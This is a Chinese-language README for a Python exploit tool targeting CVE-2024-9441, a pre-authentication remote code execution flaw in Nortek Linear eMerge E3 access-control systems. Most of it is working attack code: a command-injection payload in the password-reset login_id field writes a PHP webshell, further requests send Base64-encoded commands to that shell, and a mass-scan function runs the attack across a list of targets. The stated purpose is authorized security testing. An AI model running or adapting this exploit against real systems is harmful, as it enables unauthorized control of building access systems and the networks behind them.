Nortek Linear eMerge E3 RCE 漏洞利用工具
项目描述
本项目是一个针对 Nortek Linear eMerge E3 系统的预认证远程代码执行漏洞 PoC 利用工具。该漏洞被编号为 CVE-2024-9441,攻击者可以在无需认证的情况下,通过密码重置功能中的安全缺陷,向目标系统注入恶意 PHP 代码,从而实现任意命令执行。
该工具专为安全研究人员和授权渗透测试人员设计,可用于验证系统是否存在该高危漏洞。
功能特性
- 预认证远程代码执行:利用密码重置接口的缺陷,无需任何凭证即可执行系统命令
- 单目标精确攻击:支持指定单个 IP、端口和自定义命令进行针对性测试
- 批量扫描功能:支持从文件中读取多个目标,批量检测漏洞并执行命令
- 自定义命令执行 :允许用户指定任意系统命令,默认执行
/bin/ls -al /spider/web - 自动命令编码:内置 Base64 编码功能,确保恶意载荷正确传输
- 简易命令行接口:基于 argparse 的命令行参数解析,使用简单直观
安装指南
系统要求
- Python 3.x
- pip 包管理器
依赖安装
本工具依赖 requests 库,使用以下命令安装:
bash
pip install requests
获取代码
bash
git clone https://github.com/your-repo/nortek-emerge-rce.git
cd nortek-emerge-rce
使用说明
基本用法
单目标攻击
bash
python exploit.py --ip 192.168.1.100 --port 443 --cmd "id"
使用默认命令
bash
python exploit.py --ip 192.168.1.100 --port 443
默认执行:/bin/ls -al /spider/web
批量扫描
- 创建目标文件
targets.txt,每行格式为IP:端口:
text
192.168.1.100:443
192.168.1.101:8080
10.0.0.50:8443
- 执行批量扫描:
bash
python exploit.py --list targets.txt --cmd "whoami"
命令行参数
| 参数 | 类型 | 说明 | 默认值 |
|---|---|---|---|
--ip |
字符串 | 目标 IP 地址 | 无 |
--port |
整数 | 目标端口 | 443 |
--cmd |
字符串 | 要执行的系统命令 | /bin/ls -al /spider/web |
--list |
字符串 | 包含目标列表的文件路径 | 无 |
使用场景
- 安全漏洞验证:检测目标系统是否存在 CVE-2024-9441 漏洞
- 授权渗透测试:在获得授权的情况下,评估系统安全防护能力
- 应急响应:快速检查内部网络中的受影响设备
攻击流程说明
- 载荷上传 :通过构造包含恶意 PHP 代码的 POST 请求,利用密码重置接口将 Webshell 写入
/img/index.html - 命令执行:向写入的 Webshell 发送经 Base64 编码的命令,获取执行结果
核心代码
漏洞利用核心函数
python
def exploit(target, port, cmd):
"""
针对单个目标执行漏洞利用
参数:
target: 目标IP地址
port: 目标端口
cmd: 要执行的系统命令
"""
# 构建漏洞利用URL - 密码重置接口
url = f"https://{target}:{port}/index.php?c=user&m=forgot_password"
# 恶意载荷:创建Webshell文件
PAYLOAD = {
'login_id': '`echo \'<?php exec(base64_decode($_POST["c"]),$output);echo(implode("\n",$output));?>\' > img/index.html`'
}
try:
# 第一步:上传恶意载荷
response = requests.post(url, data=PAYLOAD, verify=False, timeout=5)
if response.status_code == 200:
print("[+] Payload uploaded successfully.")
else:
print(f"[-] Failed to upload payload on {target}:{port}.")
return
# 第二步:执行命令(Base64编码)
cmd_encoded = base64.b64encode(cmd.encode()).decode()
exec_url = f"https://{target}:{port}/img/index.html"
exec_payload = {'c': cmd_encoded}
response = requests.post(exec_url, data=exec_payload, verify=False, timeout=5)
# 输出命令执行结果
if response.status_code == 200:
print(f"[+] Command executed on {target}:{port}:")
print(response.text)
else:
print(f"[-] Exploit failed on {target}:{port}.")
except Exception as e:
print(f"[-] Error with {target}:{port}: {e}")
批量扫描函数
python
def mass_scan(targets_file, cmd):
"""
批量扫描多个目标
参数:
targets_file: 包含目标列表的文件路径
cmd: 要执行的系统命令
"""
with open(targets_file, 'r') as file:
for line in file:
target, port = line.strip().split(':')
exploit(target, port, cmd)
主程序入口
python
def main():
parser = argparse.ArgumentParser(description="Nortek Linear eMerge E3 Pre-Auth RCE PoC (CVE-2024-9441)")
# 单目标参数
parser.add_argument('--ip', help="Target IP address", type=str)
parser.add_argument('--port', help="Target port", type=int, default=443)
parser.add_argument('--cmd', help="Command to execute", type=str, default="/bin/ls -al /spider/web")
# 批量扫描参数
parser.add_argument('--list', help="File containing list of targets (IP:port)", type=str)
args = parser.parse_args()
# 根据参数选择攻击模式
if args.list:
mass_scan(args.list, args.cmd)
elif args.ip:
exploit(args.ip, args.port, args.cmd)
else:
print("[-] Please provide either a single target (--ip) or a list of targets (--list).")
if __name__ == "__main__":
main()
漏洞说明
该漏洞利用的核心在于密码重置功能未对用户输入进行充分过滤,允许通过命令注入的方式在服务器上创建任意文件。工具首先向 forgot_password 接口发送包含反引号命令的 login_id 参数,利用 PHP 的 exec() 函数执行系统命令,将 Webshell 写入 /img/index.html。随后通过 POST 请求向 Webshell 发送 Base64 编码的系统命令,实现任意代码执行。 6HFtX5dABrKlqXeO5PUv/9kTqH7AwD8QmYIyNK20xVM=